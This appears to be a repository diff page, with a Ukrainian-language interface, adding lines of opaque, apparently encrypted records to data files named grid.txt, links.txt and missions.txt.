+1#!#1#!#iApcY/GBAm8iIPDv9gV2snh8g3R2Liji8hBdxg2F7pKm8phCwypXEg==#!#327896628684198370115024802980679121612#!#sSpZXRWjq0oV52e0GJlPLs/ms7056fGGNzq+emG3auoV7TdaoccUil6s7Sgx6StSvivCiMamCBCw17QbmMg+anrcNMi9V0Tw4P+REECctUEByjhlVEsXJvV2W5cG5kkHvBgewSPJPS1F
+4#!#3#!#zKZdILvZWb14h2ytGFl1iX/L0DhTtWDwhMGBpz9NcIell1NVx/NRbRqQCrGM#!#94695553841473053852964057918303018698#!#ltDyoIdNDXpWbqm5W0jAtmEQ6utO/gkMnCPtJeFz4qFJ2G9nRAtsCJ6iJgZHXYbXYq0n60ks3brPxdXWJR8I0uKCd63wSTsDtMsNQykFkQGpx3MVExlgn3Q7H2NkX7C3hQUoDl8=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#geOzO6fG+6jOBSsT0+43sdhjIH7zY0pRzVH7HzPvmCZPI+ycMkiEX9Z4wpUHrkyMsaH4Rz13U/lvSqJrsam9kOc9xqcnnnWmFiWMiO98jLrkXOIps7WrkAPeUbzp+m9OKE8=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#fgNK0XPq578MsiFQikJaMN2iIWUmjp8DgCCA0dpjsePFDk2OMfDZ9+yXhbw//Xku4ZbP0LL3hJQhFNA6LUU+rjQqcUKOf/jT7NEGyN4HbelD1yhEWE8aXvBYWXl+BHDiwRF4aFZVHdSZ
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#VaAigYUOeX04gFBNBI6Uj/AERnb0R1fdtqtByh12LeX/YfYjQVv6tujW45KjWquFdITZuqd3fPJ53ovm7wB7XeOXbm6bKGJiqfjPdilfdfK6dpJry+S0RmJYcSBOHKGtVKwJUGZmu6Io
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#LzoR//szNSXj14I1eudFb2ytaPMSrEHGXk55sDYisvCM+SxLLVu1t2a/kQRx2kWx16KYtKufp6H/G26J6F9JPhM6Uw1UJEe7tIWW8IGOrRKVCf/lS6vFQKcEp3A=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#Gfi7LXfTYnEtkoeHZyEruHGWX9c43Dr0wOAb9XUBwJD63A1M48gBevB/6mjcOPJgH1brJwkeXea1lGU5LMqbvd3LAE5L+rdQUhyLi0CQkLEUlj2sWDec2JbBgokvxmrn
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#72WBwjvFz3aWNvXpaGtNUAf7M8uBawVua3MWn+V0YGvwJcm9CI6RHK62E7qj0CYUSTlvcjMOW4qT+Pz6r0ldpb4ZDzAhA8I1WNxlcTU9iHmTQjWS+Z3XMBKUzwHbED9Xk84Q9/vB
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#7V5Cz6Fl2Xs9YIrM0ArNUA1HAYk3UFUn2jj+auqA4jt2P2KFC4IwTOcN4PBP8n5B2wpaPQodg9twLJK07IvSLwaF1K1FcIZY1Pv5P9Lr9glitKKBf9pKxe4oUAKAfVzxQTZfqmnPYNDO
+5#!#11#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#337634876138620125409348987307194081194#!#5ca1dwPEI8lGsCbhNWoY6bDw/HvWHvqo4vHokN5gYS/78kirTNzgRjsSJUygWgJaqp6w1T/wjMk7mMj8p6Nd4WtGFtkGHSR/jlYJqaBFJR+F
+2#!#2#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#40034797434565818761572082666102525470#!#8KssgpXWPTzhKsu1NquQ+Rr0gEbO9kjN5u8MLiyPMgscvb4IRlLIwQ1R63YUZPN2ar9xgk7dsInDA+0PU1N8lp1Q
+5#!#2#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#40034797434565818761572082666102525470#!#/iZCLoD4PgwchVJyCLtV2V/MeW6RrATsMrMYRboy2kcB0mB/cgaoZOba+1seV4PK2BeDPowFl7LJ8O67bmhvxrP8FGay8W98J6zZ/oRZQzEotmPkMlD8XnxgnzYyMvkURbnKKP1/
+1#!#5#!#DvNWpI6HV2QRJ734C5MRZUo5tl6DrqZVxISHZxaVGnC1Rx2DYlAuLyZL6SkN#!#52154508364343899496765316938039269199#!#OLq9zdjyAIwVjii9BkSjKo3dvzb/rU4Cc5xSPi5rgyFtMpA+1ophOECHwmVr8+GgmrtAgXRUViIO9pWNkLg4
+2#!#2#!#lXRhSL2QWommWylbH5vJdNYUEP+TBH7X4bx5ktySi1TIolGpI26A1PPH0cJaWQ==#!#69464841943276491380302816584585319237#!#gVNwADw7QYPeBpY010iTLFzERROOI6kQxhtve2wpePEk4hoPWPsKKw==
+1#!#2#!#LVWF3KpGcrtj//Z9EGKJR4ed/K4j2upEqkS4odnVcUqRSMpxb/WsiuiG/IsXTQ==#!#69464841943276491380302816584585319237#!#eYYtlroZ8pgBxOLA4Gl20OgtqmQdT2u0TMlZTNZJznjvN/JRnWz74JrMcb334jFTnwoYQGo9eQ==
+1#!#5#!#oi6EKAffRClmUszvNbVp8oY7obEsHNV7ralgD8w5ug+Ug9hE7L6lcaleZAj2mvA=#!#131456116196691458139403344696272041497#!#rQtpJv92rif0Q3lX4SeEE6eiWB27y/fRqQ+kZR7QyIgp9g++4Au6gnskV4zV3plFZVgLew==
+1#!#4#!#Vd6HSKOsC2oELrhLxWd87UD/lI94C8HKDfQd01+52xn9rp4MvJKWKFKv6WTmoXUh#!#123695975752078214611427573887748863950#!#ZNYzkZj+Bk+Vpwm4HmST3CI2uiMCsnBGiVpMVoLIH5PhbIUVoYCvatDQXy5qQ5LxEv/CoEvonpXj7grAbeQFN4B830otN7cns4tQJpwEkyqKP8dZMB2V1LuDTIfT+f8HmSs7xREKHGWU
+1#!#4#!#/FYrqFCNot8VE14T7yvmWhQ9Qu5j9wkxI1IV6r8iTqKDPTNmqsZTVkOkpraJzeHz#!#123695975752078214611427573887748863950#!#hExhuFwuxi8z47E+/0i2BBbhJtjvYXDdnN5b1DN7h1qCuiy4UQrzU6CTqHNfNGJcfzZAXJcptlwltvcSgKiddul9oEgWwpubPhUXhdg+LpVQZw==
+1#!#6#!#BcWY0xFPL+I1JsuY6gT7SQin7DPb+G7/GXBclxZjOF9f6RY6Ump+eFGH/9Bb3g==#!#189078426696408831725576275431658985756#!#/s6Hnm2aIG9HBkpvbxjbD6HZeZpBXRXwDsYpwfMxKAmBJ1t2/5IKDg489wPbWp4Qh7SsMA/WiQO/CnduKn1x2TBlRk8ZdSjFUFbCayfXnkdbql6Y9X4158eDHzGMWzxy3Rtzmglz9Z1w
+1#!#9#!#34MV2E5hXzccyOrnVW2UNWqToLnOBOWdlazWi2lhIDe6DAndW8SSXxk57LAp#!#181857063630218957458797942755542198224#!#RZ4V3G4U9KpChKpm83O3dd6l23BalHJbBJg1T5G4gbfXN9ua8BD+Y8iUvd0+1CM=
+1#!#6#!#mtcq8bvNqltLYTvO1Kz0Xw1ntzx1L9XufmxWAPgqZ4mVqzZEM9VUJD48oCMFMQ==#!#39670708493366342095845091345040331249#!#AtYUyUGSUrpb3+rdseN1AivTXrSCeSgF5HaOTqsuWeCylKtDBuZ9kfiFfwYfG3py6O7j4q/cZwwnNKrmmLWg7/6eZ1njbd7xlcNCXDZjjyHubuaH
+1#!#1#!#B4isnbgXVJQDwSHkot0yhHhKicCWiyf4Vk2dg5tTbBqvZto9ObXf9uhrs3u5ZEk=#!#73001832495816855310096828362270894068#!#+gLU1wBHYZc0KrHM8BBeaR5w6OX4qirBhEbY+ezf1l7VkLjAAaVnN2/LBJYvj2jHt6nz+vW6+TKm1gltAaHrbdfz/pVg
+3#!#7#!#Ou7XcXXIIry75tsdBN+Ssri5UFD+WNXuvIUot02v3TtC8HfkvZChiADV#!#326051357315917924366539085153272642560#!#+Q3f4+QCZGimYzeEfXWj0alF7wegAH6PkiH5mVuZK1bh3IGEtGIcpi5wOW5FBq98PEZzg/0bq9qaFd48UEUUFXJwJpaQgx+xws3Rl2slPqV/WV3T2ShyYeo6cagIGOSbHpBcFQ6qu+j8
+5#!#1#!#IYtmZJTgb27TNxGRBQ7WL5q+zIzBhDhXMBpSkAfQruS7GDje2+bvTZQHmD8=#!#295949337797499870738854481801505659911#!#Qh2YOhJh2wrUqiLZ9sk98tAIAQStme5ld3NUUsOwjVyYC6REcSnrkAaN00pK2ufU2jRVPyPawPNVBCzyzYQvXyBifx1wd36cSZ7PcmM=
+1#!#1#!#ceGDaKrbzG5KihPIrgDdA9zBJp0LYeeObxHr2m8xHwmBwBVDL6osZd9ulis=#!#295949337797499870738854481801505659911#!#KAd8M4BntiZRryRMNQoaMkkZkZwszg4tYLLMxHaVCpmyKaqUHr/uzHjtyWRgaZC4Uai0ge8wRWt91uduymC4aujFiBzNWK7VFQVikv8ZoV8=
+1#!#10#!#l1OKYFSuxQecDs6tPEE9ILfXCIb2IjPkYlVkpOl6DjjTCaCYF71AKvNpdVzt#!#2597379482585740089681457173464678423#!#JgiDHUE2qiFIEQyH3ApKUBNOyipn13Bual9ZoBGd86LbWVxc2gykiwMG
+1#!#10#!#Akm8yt4bYZ1eVf7+fNu9ubUVANVNZg8bn6mNrrYupWmSvh3BJ6FVB98fCLY=#!#110204533929487982599685747084422235050#!#5znVgbLggTn7pjKg2PnclcjssHEXyLE4b7BKPoehIa0zcrfdW7e0w71nKSStOgqPH1VSKoeInZ8F2j3f9OeQGhViBnwVkVHWGzyRIlHAaIxIbwQDWFRSDJq3DwLeOEYGGCKfkqlwDsff
+2#!#12#!#nh+Jj8MmEixmyJ2FFAuBLuThvVYKxJq2bUGb7QYMQ8QNKU8ac9ZkfxcGIEgk#!#298099579060652926224631927872821724319#!#5FqLckPw6yvHz404f02Pc11FgqeBmKGhv37p1y8poXGZNLmc3ZxPhRBgfhNpAESszpeOZsHQE8OupgAXjKgfH3CFKzJfnRE9tv2Oucd+cgKmfkSzXxADbATJ8mK7CvkwO35mw7AIMcJF
+4#!#8#!#jeCgThxRTazeVcigy+QI4V5AcPrOMRvC19VYPXgxDYv2bRsc2+6SvrKQYFEY#!#308305893086224440326708855779514521074#!#Pu9U8Vmzfjy6yFLtIOEo24e5kFEHt3PQVM/jrq1Q4NAF1OxVnt/3VAq6IK8fi4zudWs0mI4sYUWh7Z3mTPxGRwk6VrkyGr6zExzdsaXzry88/+7zhiBRp8LVO7RLFsdXJfOJccY8iVSs
+1#!#1#!#at2SyxCV4fx6Vfp0yG4Rl+5Rkhqjxy20dVWhA2Hozhe/aFQm/KOIIbW79v+p#!#123947377528968445474883141765422019586#!#o3chHTGM/YxkyFC+tpGgIFqevndxVg6Wx0RincasTEWXL57np08=
+1#!#1#!#IUi4+6TpQruSIfFur7g2dV9fBr9VtxeYEeXvzyDvHBGpqI+Rv8E7ug==#!#249163974635904614152373369245617455642#!#1j2VeiVZjgRwWRSGsF4xSJLPexb8crxlegg7TlbIcy1RQxWEwrWxO2NaEdg2/KfQF3v323NO6JyRowW8WaZo6knZA68YMNmbMApe6BL74vNm6LBjECbxCObjJ80EgOTdDdyA70pBQg0f
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#225272837650524334545892328696922919633#!#WlnJ/UM3A55BK2w2HUaf7G7zZyw/4ieTMA0nV+qz1zMzTfM/1e9C5sPJ3IxVwkTYDmjHqASr1aeA/VYnV8BqdPNS2VNTh7rMPxyYezVe4Dd/W8CeJurP2PhyHuBIll39ORo=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#225272837650524334545892328696922919633#!#zCEo1XkQxg8kTwiOJpFXYVj57iUlv6WxbOB2eDvuI4ykJj+qQArYhMqw/JFoImSiC1zF5XtV5OrOyU+xpep57dxgd98FTkNp4LoPyo0QbotRvqnTB9+Ebyi5gw2J5TShlDnyagAofFeM
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#qq6RCAyH6+8p6VP3NjnhV0l/AhxbMcLi6OdnsA5oYB1+qGsaMl5G6AjTPFSWqfrnDIdylyDimJpKa7ghrZDIht26mYryhBRoJhDQenpxyCBBmVS1yFfhdIPEQuzNWkqEheI=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#7568240791179788346445579243658823364#!#y0upLxHgaOWpCdKMQM2O2ty9IHdlJxT0vRcU2QsORs8oitu69hOhPxktrk6/tOxIhqrXdbcaawWC7XnxwPXORcnkdJD2k5F08g77iei+WgJ0mg2ERk1+4cI/Ug==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#je4zk25ip2kSQTWuLBwRrQEbaDvsxMeI9C3XvCOhI5O39y0Lt3wOe++U9uYt8Ney7MeAb3pFdWgdKjAFVc/lVx2ky8Tl5qF60v4SmTYkpmRs+/JOMD+iOfrubbB3OnZvx2kH3Yt9rKM=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#7568240791179788346445579243658823364#!#GmFnuWaFEKIsNlZUqyY/wf8nMYjg3OViQCNMvnlzJ+/mT5qXYaVtm2QxL3LG2sUhDGo9XfeB8m6W9Dwa6sM4WxVzUcAZ0/FWPyT5VeVN6eYOJq3wYGIFnSZO8jL1YF9sZWNbYbNU+g==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#naf1rnfUDjKWIytsgt3nPOMOMxNvTtISr0GVP/LY5Oj28vtJyDInjGIJstFB8lMvaoBxAVTKCHwruFlr5BKR94zNFMG2ZP6Hjqreb085fXQvbdye9RV++Ahab24CEdptmv1JP97fZA==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#yCM209uKZU5/qTO2WAiDNxb6SNX1FZYVIaQQKidCtERBPl5anziE46mU3Zd6FwAsPvmIxPcKgzZOQp2gK7wY3CckbTrqBZNQTCMoW43Fd0lMU78GduMrCiq8S3YCzui/oHpH59ffpUih
+1#!#5#!#NayV/+iEqMy5upPwtB9WqVgIIxMT0SVazL9LD/EtwciGcYJEWggbCkhZwDaj#!#233383917422698668663907683364658708936#!#EZbCmC3gl1DfhYqUbMV3kZrwQaWeqd2HuQVW8RckNczvV2qAplSFpw==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#cESjLj3TUcyuFHXdc0a/ekbEzK2NEJudxbgK2RId5fI2mJ9Tka98yvkSDi+QYXHvrUqkWl4Q/O4k9VCKxqvQO1cgQJQVQ8X2zTu3G0aRHSj+C5CwMeMuGnICG+Ci+cmkTP5X
+5#!#3#!#MS1vyF+E4FyOlvpLPeem2THRqbfhd6FA8vcqEzk7dhW9Eaxv+iWgKxFEZLGP#!#171196872345831277205770632227011860619#!#Pak5LUoKezi5+B/oPQGWm+sty+BjYdA51yPDZ5MqsYCl5IKNsEDSIRY/GBeazFs/9WwqyTF/N3a5awMiHcdX9+Jk+TJfJD+ZmpikGD93MNGV386ZYLA=
+5#!#12#!#MS1vyF+E4FyOlvpLPeem2THRqbfhd6FA8vcqEzk7dhW9Eaxv+iWgKxFEZLGP#!#69594339027487775423381234158566558285#!#DLTKQfmimlhWohqu1iEXeWBBeX396l4+yy7sp57SmvVCmMjvTls388h1i2dO6YiJsYj1+iebrGU0tVMSQRBRtvkdj7qeZukYDoXTFxSHRw==
+5#!#12#!#MS1vyF+E4FyOlvpLPeem2THRqbfhd6FA8vcqEzk7dhW9Eaxv+iWgKxFEZLGP#!#69594339027487775423381234158566558285#!#uStx+yZz4hZK8IqjJAsteeOARxP30HZvFjPxyLJ0JCa0G014L2IaCr8mrB6lyy6ZP/zteB3nYVbYIjtn6ipK0wqtdTvO/UjHM26OI7j5Qg==
+1#!#9#!#cAkrljdcrW3dvj/aBbmNHBvlbR1C4GadFo/1ecSPAA7WujkHecIRtN0=#!#3198259951930770283427138215744552835#!#lKITgOlXayLvi1zq6K0+NCowG51SVoRrTz92E54+9BaINB51hcgJaRCSlT1rg0rShlboKVSz3rhaDSjUXabcXPGtxFravtnQQgJUNCI=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#582329510679997532662413790106054451433#!#r4GMjMfYbNmhhBmJQFYmGah0mjSGUCSpZ0gtsFPK7jodaqPNjSuy5qkWa0ExRcZ84QIGrMrK15cjo9PByT2LD3wTusx3yaZEb0/yKt/PE6ZVFD/pHqQFF5M=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#213116471423072662008467667199916682694#!#1EbS/i09rSJ9EIZg2Ls6eBG83532qcXpnA5+vGMZXzSC7PF8drUC/jmPwQmXLkaz6bDv/ZGGnwHRyRlizLp+ZGCRqWA+M9S8eorPc1SUMjcm4+Oj4Sl+udBAX8FyvNt0T1pDLfuF
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#70984442058851093154536792877630512276#!#+5Yq/LhmMFJldIMYZSq3hymMpOIVpY1d5YkNN9on40clrbe2vmlMLMTgTDiC7Mc5O0mCCKmuivlOrCszpDn938m32DF/2LdkIR6MEs3y76VQ4NMsLiXPW1GaiKXGP40BxgQP
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#278887541199641563253958265951842347250#!#8jst2zeNpuY+Kp2nd7p0UljyMyWA6XGo3SqrlpdF+ajxbS7wkR/ZkWmsX56ic14EvzcraaU4OZz+d+5V6GEn6DBKCVa72RGgKh444vcUYzwpL1Xaggoza9uTZlsjp3YgYU4F
+4#!#7#!#h6uwIrCU62rwvfIaVZkQrA0OzzLPX6hd9lp1Uautgu8PvVHcebSjCv8GrBXC#!#204225688198572674043680639107302243286#!#0l/ckqD/RisB5QC3ei24VFzEs29bFeunwXR5nma+NSMtiZYY0KTlOedLyQOjnzbi0SKoMAhTWbxzOYSc9N5iPDLKLzwkf6x/4aav
+1#!#7#!#h6uwIrCU62rwvfIaVZkQrA0OzzLPX6hd9lp1Uautgu8PvVHcebSjCv8GrBXC#!#158807448850131945635726637280905393792#!#lus6LkpQVFe7+JREaQas6g0P+FPDLCcRSR5q2is5PdfxJRxxbfwV/M/4QTMJCqZo5kZs7PmwBrNbs8Q1aECF6tklJVs=
+1#!#1#!#SifBXBUrxswSNzf4v5O/XQl2dSOz+xa6UhSkrFQGygHrMd6NvYZyRYM9s6Ju#!#330600408731817912516695436257211756844#!#RAfh78gxLdxApnTyd3zja8io6RxOtEJ3RaB8qL1Kt5J1Rmj9jTFKJSxZFxyugW0=
+1#!#6#!#DIh+td0hWFvh2nozKC8f9yUOThHaI/GYofBlGdW3+5GyQT3DCPqcVXGD#!#313859678541697958270194194323068273674#!#i1+dfpwzLhQPu8znczyjHqWVRHeLLkzknSqam3YOdxryUExsG6zQTkb9anf/A9Zx/aOvGIQn8t+shUGa00ULvCP5LBcuSFRn/r8=
+1#!#1#!#8R2H/y8T1+rji2WZzapRuOjIP09QmpnP0YT8hOQkJGtiZAL+KGTeiyoa6ioL#!#171148752864315715885669542726822214248#!#0QzuParAO7rqUd5XEbNWk/HfQEH7rO7vobmq95Ju2lJ5aq6IdHExQe43PE7cwL5jFPVMuUADsnDV3JPc/KTOZqvk3hbPEafGMgcZ6TE=
+5#!#9#!#zMlDUTXRnxWGktOSGcSP6cHwpwScpEJFUCMoKiE6+OVfKs3iXTglcA==#!#51366608678100228862168149564283851381#!#S0mNRyuknbUfp6krCaB57aKk1LZB8GNY32AuR/V5Lf/BO6ijrXN5VKk=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#125148672014228858453763029521116800682#!#1wbZDTLaRMvY+tdsg+/4tRAZ665WLpVLKjy93b6Q+3IqdFoJU8b1o9VjvgyVAKgxSNdobyN8o/S49tS8jr7Lxmw+tMA6e1ajB/wNIRlQc4DCaUOZBMNbAU/7c6ZLX/JZKZlRS3zx
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#37133240063389905818917757916121316080#!#SLV9+rZTOhJ0NTCFKAy+0W3oNWFm0LpKo0JSR79L4SBVzisK7awWfSJBdRi2n4t+bk9msqZHxwfgTl8ZI2o9qOYuNHi5z6TPDsd9eVJ/hgbCoHiHyqYfntQU9LUOQLkd
+5#!#5#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#37133240063389905818917757916121316080#!#c3ziN7PNNrNuTn/GFVuD8osjlw+dLO+qTkrpsFocAaXJKvrn+ER5vHOeDbChtrlIMRTtjEC8qLG/IzELAmqdRIbssM8fMECZXTh7K9V+eIiSStK4
+1#!#2#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#37133240063389905818917757916121316080#!#kBCmwAl0ZYB9c0nf5S+6QKkw2NSZxe62BQlugFs637FuWhR9LOm8r4AMEh+y6yKKS75eEtzLvtPMy1cQnT8reHjGsaEjwTNyrsQ=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#203926943582257864678837121391245579225#!#0s4rX5EQul4r38UstN/HtiJ/hViQ3gPrm0l91LMEnMEm2ym1kDp35bzF2XAU78w3JWokbUY/5EHVS5EsHqzLHesPxIuMvP2tSEqvKdBCVmOR0Bez
+4#!#9#!#W6O61lNZRHiKa7XKmFOJL2qam/oUvraeFiMK5WGXXTCxrEWXfp9JBNsOCaM=#!#64388572937208539964147911438932013798#!#iYSwfofyrpVIDTrzGaSa7R569j7QEc/UdV9jtFeLq643lw7Mp7DsxfifhBal5gNiOpU1wkAJZr3P9BCtsvG8CmB5/0sxkuBHcotqIeP0y472NX69BBEV8NIWKRsvl1T7AloX5Z71waah
+2#!#2#!#G0xMYg6zRLUvFNlHAjPG5qP6D+8A2JjJ4PaPzFQfGmz2qaghpBrnlixMklBV#!#203926943582257864678837121391245579225#!#e0Jis2Qt/ttH+/48Xazyw9f+Py5LGs6DRrbFX5kMANwqjz4Mv8NHttDQpwkvb6UNnNbX9v5if+nRO9yzoEVKUa5ocfuSIDBaZLyHAVPPaDjeyuxAm1HmTZYSnjl8x2MpBfBq6p9gfiv4
+1#!#1#!#d5N6tYPpd5ya47wbfSyaH3sq/VLbTOJ4B4tQmkxVT/HKONmos4GH+qugZ10F6g==#!#327273012811660040683312944806152485223#!#EWn4Z1c6hgc7MQS14P0yS21AnsHKn6+paJHZacXiY/rQXcQyh1qEBHcAoSqmdcOTVOQ2+b99wXeVPKDCE977MWU4fkJHoSYVzUgHiZ23U0FW/dpB3w+mc5Q+J4EeD9k=
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#274135891444609026328652190600051919734#!#Ds95zAZnqCi4TcGIsgmLF6edVRSoxoJCVLVrqZzGjJ5Vdr3Y6C2sk8Wqz1ed9mKTvSKiDlP2GN/ZuYRH3ZtQyEUjElM8jhIRqlDRDS9MKI3cpdXKyoNj54ZWha4Qk7tnB6MbJ7JEXzFd
+1#!#4#!#/unXbsQ0HlX9mkhkx1MpULR7elfhTPqQgRFthznhY9/xsaeJqHrVgkRbTOlX#!#274135891444609026328652190600051919734#!#IvHMDHJwZ0XZ+8izemzKcFN3HCy9JXKl63LkOsZ9ZYUYFsiOCwne7bnrpKG8/4wgdH/4WABZs8N5xAgm1aaTuZOBRdFYvMPKP04hGZHRpTy/VUq71S7aqwjUnOr8advXqhsu
+1#!#3#!#MyAZrZ6krjfaxfABLIEreDwjrUeFlGbWflmya/CKUY5PQwR27LQk/4ThrjJf#!#286483081125997112224470860097309089307#!#i5IHQFOhXIjD1PoSLJkwgj5wrNvUNHBupeAEuAOFFrJ2IEkLlsnpZbI=
+1#!#5#!#fttQJj4ZEs4Ci3jIHsNv79uNPWCIfBkA7NLc2eKv+JjXovZ2mmuy3r78GrCc#!#139067310506253046684673773029894782516#!#UDwf+T3QLjGxuDMfy+MMOiTxVpXHM0bubzwXkvaeCgXkkTZHslaSRmLVj+xjKViXcg1fzNU06XkiQz4+DTjqr9M5J/fj+Jsz/yxs
+3#!#10#!#2+cE5DpKCcrQflqHqszV7SanhY9zfjEGbPOitFfLAN21Lg3Nhk+s2ZgwTw==#!#6413074515647223319394059002268921850#!#0CtKgCG86ngmF9Q122qTXmWbu5izhbzbkKzVSB6fw4I5l7ffMhGao2M=
+2#!#10#!#U65sNsnE5WoNx2SzDsa8IhFAkE+evWjNc+FEAKcPh4Jcht+j155K4Iyrwefokt5l#!#133554895916724435233535723556119269610#!#0hUrDILYU2S5LpRBnkutPYjOYJECB25dlVWr7UTjGx79rDxKxgDmt6Cq3FHFvOihs8k4fip2UWzdeGBAF2RhiuqwLaAjZNHsJNj0uZa9rX8=
+1#!#10#!#3lFkcCTikMzeGqInplB9+YTAP+3SsuDesIvFUPJeu/zSHh1U/fG6#!#305249812293097851134426639830117816958#!#3blXcwqWEvCnJ1e95We9BJNJ3VBb7iwojGSkVfC/TIEmR493IBShbmedIjJxLS49um+BNFM+NwYuqhZRWkixvamyIXAtDMr0cQwh3mYAQu784JcNRPeHnhhCuJbOLg==
+1#!#9#!#+njg1oa2QfsYToxmYM8txtGOhKQ7raFrV5k+rho1bcYIneLTdwrhmgm901doCw==#!#48277299097224494261221183906912809376#!#NTVcO4GMHSZOZofCgGz+1qUe6XoeOJdTeNkiuddD6jxNkmjQmp56Vkk=

Різницю між файлами не показано, бо вона завелика
+ 234 - 0
data/grid.txt


+ 5 - 0
data/links.txt

@@ -0,0 +1,5 @@
+5Q7MFyi1wpoVsSr8odECZIjoxtGiWGixLfolOe78e6TDRbdBIcUjx7loI2flFxHYLuSXKmA87Q==#L#RgX6YciOBVXnDW7yPkbyKwlgqioVLHqLioxGduDHKdnnJvgwvWyPjj0J7/6XjIf/dNTfOdjP3P0pV1U=#L#vHtRnjUrMDw1yzchnveODJ8wqf6aetpALe/hbkFYnVBQc4PcLCpU
+/sduSvNbKOq7D0TVg4cfaUdpnhyP25VneKZW4fT6ixv3kzD3ji4NdTK8wilUCM1nNQ7HxDvmZg==#L#J4hLK+WKtbwtMNv6b6Z226nU5tUbBcKn8GzUv+eFEl7ReeQgw616VXUMao8TXViQw2ikhzlRge29vJQ=#L#Rb2zj0vmiVg3e/gsWrkcwXDahaqri88EWQvKtQQaqUL+7OcbbPpt
+nZRFzHAI6pKk6u33rZmjWCX4cMRHEhQpi5jA9GieDeokxbpbYLqdtOCcjqdo6qMPOmrDfmy2Dw==#L#WGWACWJCLDyrq/8SPXHBjnEZP4uddfcRux3Zgcu18qnF3XAEk9mlIPjDgdKH4MMUiN9z+NkCUd0ha5tY4ec=#L#A8EcyiGIz9+OVWojGZbNahfvjoCDq8Nhv0QmK2PSMd84u/4yeiW1
+v/Kq2g1oFNeWfKmF1gfP2GzydHeqfmJfvu7nAfMJ3WEejE6f8ZfTcoTPHsQvBFKKXjkGIIQOVA==#L#pRt65goTJm0lG5IVithhTBr127/2fHsmly1PDdgsyLBcbbWARf60xh4pBb2VGWwphGCB7Gj9Fgn2wg==#L#fZpm2YwpSxiBKiNtnNmHhkIk1c/R9p/XHbZ1MzLdp+euop2AqcQU
+SciPwo9kc9Mv2XIifsn2GapL8wQytyOrOgkgFzihTSRcxPDygQfABrKamFb0Kjb/Jul8euhHVw==#L#efKS8817w3x19SPq7YLZ+TatlIIwO5ApmqesLu8CneUbdYU9gUA2Gb6yhc772AE2Pqec1Q==#L#3WM0sTtEZLGBHwZ8/dWNtcwJ2XtrND+UpjAwggrvNS6CFli1Q7WI

+ 66 - 0
data/missions.txt

@@ -1,4 +1,70 @@
+hK55RXgpxgWdOhBMhHbaWC/LwBTKJykkFhzAfNtsBDeo03Cu+RnPblJ1AtaIrXgQJGIPGkdJG8elSjVjB6Z/Y38/cvUyAiFQkae/6pwMNBYg4XCYusoJ
